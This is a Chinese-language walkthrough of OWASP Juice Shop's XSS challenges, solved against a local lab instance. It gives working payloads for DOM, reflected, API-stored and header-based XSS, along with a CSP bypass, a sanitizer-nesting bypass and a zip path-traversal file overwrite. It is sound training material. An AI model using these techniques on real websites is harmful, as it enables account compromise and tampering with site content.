---
# System prepended metadata

title: XSS

---

# XSS篇

## [前言&安裝&記分板](https://hackmd.io/@numb2too/HkH6PdJdeg)

# 前言
XSS做到一半
才發現原來有官方的[武功秘笈](https://help.owasp-juice.shop/appendix/solutions.html)

也感謝以下前輩們讓我學習了一課
* [OWASP Juice Shop XSS Challenges](https://medium.com/@aayushdharwal73/owasp-juice-shop-xss-challenges-88b06a0f59f5)
* [Web Application Security Testing - XSS Injection Complete Guide OWASP Juice-Shop](https://www.youtube.com/watch?v=jN4a3TmBxR8)

第一次一樣幾乎都是抄作業QQ
幫自己加油
開始吧

# DOM XSS
題目
```javascript!
Perform a DOM XSS attack with 
<iframe src="javascript:alert(`xss`)">.
```

這題有官方導覽因為是練習DOM
直接在`放大鏡`的`查詢欄位`
貼上payload即可
```javascript!
<iframe src="javascript:alert(`xss`)">
```

或是直接訪問包含上述payload的查詢網址也可
這是我直接透過`burpsuite`內建的`URL encoding`轉譯的
```!
http://localhost:3000/#/search?q=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E
```

與網站實際跳的網址一致
```!
http://localhost:3000/#/search?q=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E
```


# Bonus Payload
題目
```!
Use the bonus payload 
<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe> 
in the DOM XSS challenge.
```

操作跟上一題一模一樣
直接在`放大鏡`的`查詢欄位`
貼上payload即可

附上burpsuite轉譯的payload
```!
http://localhost:3000/#/search?q=%3ciframe%20width%3d%22100%25%22%20height%3d%22166%22%20scrolling%3d%22no%22%20frameborder%3d%22no%22%20allow%3d%22autoplay%22%20src%3d%22https%3a%2f%2fw.soundcloud.com%2fplayer%2f%3furl%3dhttps%253A%2f%2fapi.soundcloud.com%2ftracks%2f771984076%26color%3d%2523ff5500%26auto_play%3dtrue%26hide_related%3dfalse%26show_comments%3dtrue%26show_user%3dtrue%26show_reposts%3dfalse%26show_teaser%3dtrue%22%3e%3c%2fiframe%3e%20
```

與網站實際跳的網址，有個地方不一致?!
但功能卻一樣`https%3a`與`https:`
```!
http://localhost:3000/#/search?q=%3Ciframe%20width%3D%22100%25%22%20height%3D%22166%22%20scrolling%3D%22no%22%20frameborder%3D%22no%22%20allow%3D%22autoplay%22%20src%3D%22https:%2F%2Fw.soundcloud.com%2Fplayer%2F%3Furl%3Dhttps%253A%2F%2Fapi.soundcloud.com%2Ftracks%2F771984076%26color%3D%2523ff5500%26auto_play%3Dtrue%26hide_related%3Dfalse%26show_comments%3Dtrue%26show_user%3Dtrue%26show_reposts%3Dfalse%26show_teaser%3Dtrue%22%3E%3C%2Fiframe%3E%20
```

> 我為什麼會發現不一樣是因為原本我用burpsuite轉譯出來的payload不能成功XSS
> 所以才對照發現差異後，想說為什麼會有差異還查了為何burpsuite轉譯出來的跟瀏覽器的會不一樣。
> 花了一堆時間，得到的結論是應該都可以正常訪問才對結果?! 還真的很神奇的又突然可以了?! 
> 我就先不理這個奇怪的問題了XD

# Reflected XSS
題目
```!
Perform a reflected XSS attack with 
<iframe src="javascript:alert(`xss`)">.
```

先去下一張訂單
然後找訂單紀錄內的其中一張訂單
會發現`id`的`ad9b-82846559ababdfe9`顯示在畫面上
```!
http://localhost:3000/#/track-result?id=ad9b-82846559ababdfe9
```
這時把ID改成本題的payload即可通關
```!
http://localhost:3000/#/track-result?id=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E
```

> 做完這一題我不經納悶那reflected xss跟dom xss 到底差在哪裡??
> 
> 原本我以為點網址XSS就是reflected類，欄位輸入XSS屬於DOM，但AI給的解答懶人包：
> Reflected XSS → 惡意內容經過伺服器回應才到瀏覽器。
> DOM-based XSS → 惡意內容不經過伺服器，直接在瀏覽器端被 JS 處理並執行。
> 
> 這樣應該可以理解為前兩題之所以歸類為DOM XSS
> 是因為沒把XSS的payload傳到server直接顯示在前端
> 
> 而這題是有把XSS的payload傳到server所以歸類為reflected對吧?!

# API-only XSS
題目
```!
Perform a persisted XSS attack with 
<iframe src="javascript:alert(`xss`)"> 
without using the frontend application at all.
```
* ### 方法一

快速payload如下，直接通關
```bash!
curl -X POST http://localhost:3000/api/Products \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJ0eXAiOiJKV1...' \
  -d '{"name": "XSS", "description": "<iframe src=\"javascript:alert(`xss`)\">", "price": 47.11}'
```
> token記得換成自己的

到查詢畫面最後一頁可看到你新增的product
點開product就中XSS了XD

* ### 方法二

使用postman也可以
[kali安裝snap，再用snap裝postman參考](https://hackmd.io/@numb2too/ryYvLCdOgg)
官方武功祕笈貌似用postman
![image](https://hackmd.io/_uploads/SJ5ZOhddlg.png)
> Authorization的Bearer Token記得設定

好奇api/Products到底怎麼通靈出來的???
思路會不會是這樣
1. 提示跟products有關，所以開sources找有沒有相關的API
2. 發現疑似API api/products
3. 拿來GET發現可查找全部products資料
* 意外發現也可透過此API搜尋指定products
```!
http://localhost:3000/api/Products/?id=1
```
4. 透過回傳的結構用POST塞一個測試的body試試
```jsonld!
{ 
    "description": "<iframe src=\"javascript:alert(`xss`)\">"
}
```
5. 這樣也成功解題了，但查詢會壞掉XD 我猜應該是因為name是null的關係XD，不慌重啟server就好了XD

# Client-side XSS Protection
題目
```!
Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> bypassing a client-side security mechanism.
```

嘗試註冊一組帳號
發現api/Users
然後payload結束
```jsonld!
{
    "email":"<iframe src=\"javascript:alert(`xss`)\">",
    "password":"aaaaa",
}
```

用admin登入後來這就被XSS了
```
http://localhost:3000/#/administration
```
> 這個網址在main.js大概可以猜到
> 因為有出現path: "administration"相關code
> 但還是不知道到底怎知道從此api破口的QQ
> 通靈?  還是因為教學用只是要讓我知道登入的地方有機會被client-side xss?

# CSP Bypass
題目
```!
Bypass the Content Security Policy and perform an XSS attack with 
<script>alert(`xss`)</script> 
on a legacy page within the application.
```

> CSP(Content-Security-Policy)，內容安全政策。
> 簡單講就是前端防止胡搞瞎搞的程式被執行
> 讓網站開發者告訴瀏覽器「哪些來源的資源是允許載入和執行的」，瀏覽器會依照這個規則阻擋不在清單上的內容。

> CSP 可以限制的資源類型包括：
> 
> * `script-src` → 限制 JS 來源（防 XSS 的關鍵）
> * `style-src` → 限制 CSS 來源
> * `img-src` → 限制圖片來源
> * `font-src` → 限制字型來源
> * `connect-src` → 限制 AJAX / WebSocket 的連線目標
> * `frame-src` / `child-src` → 限制 iframe 來源
> * `media-src` → 限制音樂 / 影片來源
> 可參考[文獻](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy)

到個人資料頁面
```!
http://localhost:3000/profile
```
發現username的資料會顯示在大頭貼下方
合理判定這裡可能可以XSS
但第一波嘗試失敗
```!
<script>alert(`xss`)</script> 
```
變成
```!
\lert(`xss`)
```
表示有過濾機制，但過濾的不太完整
第二波嘗試
```!
<<a|ascript>alert(`xss`)</script>
```
顯示變成
```!
\
```
攻略秘笈表示，這應該是因為CSP擋住不給執行導致
於是開啟burpsuite發現/profile的確存在CSP
```!
http://localhost:3000/profile
```
![image](https://hackmd.io/_uploads/HJJ5Upuull.png)

這CSP竟然跟大頭貼的URL有關西
所以payload，結束
```!
http://aa.com; script-src 'unsafe-inline' 'self' 'unsafe-eval'
```
> 主要是後面的script-src 讓他不要限制js


> AI補充說明:
> 這個 Juice Shop 的練習中看到的 「用大頭貼 URL 改 CSP」 是因為該網站剛好有一個邏輯漏洞：
> 
> 後端會根據你提供的圖片 URL 去動態修改 Content-Security-Policy (CSP) 標頭
> 
> 而且在處理「多個相同 CSP 指令」時，它採用了「第一個優先」的策略
> 
> 所以我們可以藉由提供一個特製 URL，讓它把 script-src 改成允許 unsafe-inline、外部 JS，進而繞過原本的 CSP 限制
> 
> 但 CSP bypass 的手法不只有這種，還有很多其他情況
> 關鍵是 找到能影響 CSP 白名單或載入點的使用者輸入。

# HTTP-Header XSS
題目
```!
Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> through an HTTP header.
```
透過last login ip頁面可看到最後登入的IP
server重啟第一次登入後，來此頁面看到的IP可能是?或是0.0.0.0
```!
http://localhost:3000/#/privacy-security/last-login-ip 
```
為什麼沒有正常的IP原因在此
用F12>network
發現只要登出 就會有個 /saveLoginIp
response發現有IP 
猜測登出會存一次lastLoginIp
```!
lastLoginIp	"127.0.0.1"
```
官方武功祕笈先用/saveLoginIp 新增`X-Forwarded-For` header嘗試修改lastLoginIp，但失敗了
後來發現`True-Client-IP`可行，所以payload來了
```!
True-Client-IP: <iframe src="javascript:alert(`xss`)">
```

> 用True-Client-IP修改IP成功後，重新登入再去last login ip頁面看，會是你自己修改的IP，所以payload下去，依樣來此頁面就會XSS了

> 另外不知道為什麼burpsuite的瀏覽器，不知為何看不到修改後的IP也沒有跳出XSS視窗，但是payload下去一樣跳通關XD。
> 所以後續才改用F12操作(第一次用resend而且發現network的篩選真好用XD)，才看到完整攻擊畫面。
![image](https://hackmd.io/_uploads/S1L-HRuuee.png)

# Server-side XSS Protection
題目
```!
Perform a persisted XSS attack with 
<iframe src="javascript:alert(`xss`)"> 
bypassing a server-side security mechanism.
```
來去評論頁面 http://localhost:3000/#/contact.
payload，通關
```!
<<script>Foo</script>iframe src="javascript:alert(`xss`)">
```

可以到關於頁面，最後一個留言觸發XSS
http://localhost:3000/#/about

或是來admin頁面也會出發XSS
http://localhost:3000/#/administration

官方武功祕笈有補充說明
透過package.json.bak可以發現juice-shop使用有漏洞的版本套件 `"sanitize-html": "1.4.2"`
![image](https://hackmd.io/_uploads/SJG6OuYdxl.png)
透過[參考文獻](https://github.com/advisories/GHSA-3j7m-hmh3-9jmp)可發現sanitize-html-1.4.3的改版說明就有提到修復此漏洞([CVE-2016-1000237](https://nvd.nist.gov/vuln/detail/CVE-2016-1000237))
也有提供該漏洞的[issue](https://github.com/apostrophecms/sanitize-html/issues/29)有提到最初有人反映應該遞迴過濾而不是只過濾一次

# Video XSS
* 題目
    ```!
    Embed an XSS payload 
    </script><script>alert(`xss`)</script>
    into our promo video.
    ```

* 透過juice-shop[官方推特(X)](https://x.com/owasp_juiceshop/status/1350381894010077184)可發現該網站有此頁面可拜訪
http://localhost:3000/promotion
* 在該頁面發現此影片路徑
    ```!
    /assets/public/videos/owasp_promo.mp4
    ```
    ![image](https://hackmd.io/_uploads/B1MDltt_el.png)
* 實際拜訪該路徑，的確可訪問影片
http://localhost:3000/assets/public/videos/owasp_promo.mp4
* 由於原影片有自動撥放CC字幕，而字幕是 WebVTT 格式，可以猜測影片旁邊有對應的 .vtt 檔。果然字幕路徑也訪問成功
http://localhost:3000/assets/public/videos/owasp_promo.vtt
    > 如果是 HTML5 video 標籤內直接用 track 加字幕，瀏覽器原生支援的幾乎只有 [WebVTT](https://zh.wikipedia.org/zh-tw/WebVTT)（.vtt），這是 [W3C](https://zh.wikipedia.org/wiki/%E4%B8%87%E7%BB%B4%E7%BD%91%E8%81%94%E7%9B%9F) 標準規定的。

* 由於字幕不是瀏覽器動態載入的，而是 伺服器端嵌入 HTML 中，如果嵌入過程缺乏安全檢查，攻擊者就可以利用惡意字幕檔進行 XSS 攻擊。
![image](https://hackmd.io/_uploads/SywoVKFuee.png)

* 這時我們要先學會解另一道題目XD，利用上傳ZIP檔案後，server解壓ZIP沒確認解壓路徑造成重要檔案被覆蓋的漏洞。參考[此題](https://hackmd.io/@numb2too/rJbrrFK_ge#Arbitrary-File-Write)。但會遇到一個問題
`../../assets/public/videos/`路徑覆蓋失敗

* 要覆蓋的相對路徑在哪裡
透過一些蛛絲馬跡可發現juice-shop是透過`Angular CLI`打包的
從程式碼內容判斷打開 `main.js` 會看到開頭有：

  ```js
  "use strict";
  (self.webpackChunkfrontend = self.webpackChunkfrontend || []).push([...])
  ```

  其中 `webpackChunkfrontend` 的名稱通常是 Angular 專案的名稱（在這裡叫 `frontend`）。
Angular CLI 在打包時會使用 Webpack 並產生這種 `webpackChunk[projectName]` 的結構。
網站的靜態資源路徑是：

  ```
  /assets/public/videos/
  ```
  Angular CLI 打包後會把 `src/assets/` 的內容放到：

  ```
  dist/[專案名]/assets/
  ```
  所以得到了此路徑，但很可惜還是失敗
  ```
  /dist/frontend/assets/public/videos/
  ```
  發現github中src上層其實還包了frontend資料夾
  最終我得到了
  ```
  frontend/dist/frontend/assets/public/videos/
  ```
  
* 準備含有payload的`owasp_promo.vtt`檔案
    ```
    </script><script>alert(`xss`)</script>
    ```
    > 為什麼前面要加</script>，原來是因為類似SQLI要讓前面的<script>先結束，後續好好執行<script>alert(`xss`)</script>。
    > 但我又想，為什麼不</script><script>alert(`xss`)就好了
    原來是因為有結尾</script>會提早/直接執行alert(`xss`)
    若沒有</script>則會變成開了新的 <script> 但 沒關閉，所以 HTML 解析器會一直把後面整份文件都當成 JS，直到遇到下一個 </script> 為止
    這可能會造成頁面其他 HTML 全部壞掉，且攻擊不穩定（因為需要依賴後面剛好有 </script> 才能正常結束）
    
* 壓縮成ZIP，Linux直接服用語法
    ```
    zip exploit.zip ../../frontend/dist/frontend/assets/public/videos/owasp_promo.vtt
    ```
    > 透過[Arbitrary File Write](https://hackmd.io/@numb2too/rJbrrFK_ge#Arbitrary-File-Write)此題的手法。我們得知相對路徑層數在../../
    > 且這邊要注意，官方武功祕笈提供的路徑與實際路徑有些回差異，因此資料夾名稱也要記得弄對QQ

* 去complain畫面上傳ZIP
http://localhost:3000/#/complain

* 去看影片，出現XSS表示字幕檔覆蓋成功，並通關
http://localhost:3000/promotion

# 心得
結束搂~
![image](https://hackmd.io/_uploads/H1lIHjF_gx.png)

這次嘗試新的排版?
也透過官方的引導與[攻略](https://help.owasp-juice.shop/appendix/solutions.html)學到了很多
先去吃飯，之後有想到什麼再補充

如果上述內容有什麼不正確
或是有大老熱心補充
可以再一起討論~

也可看看上一篇[injection心得](https://hackmd.io/@numb2too/Skndxik_xx)

感謝收看

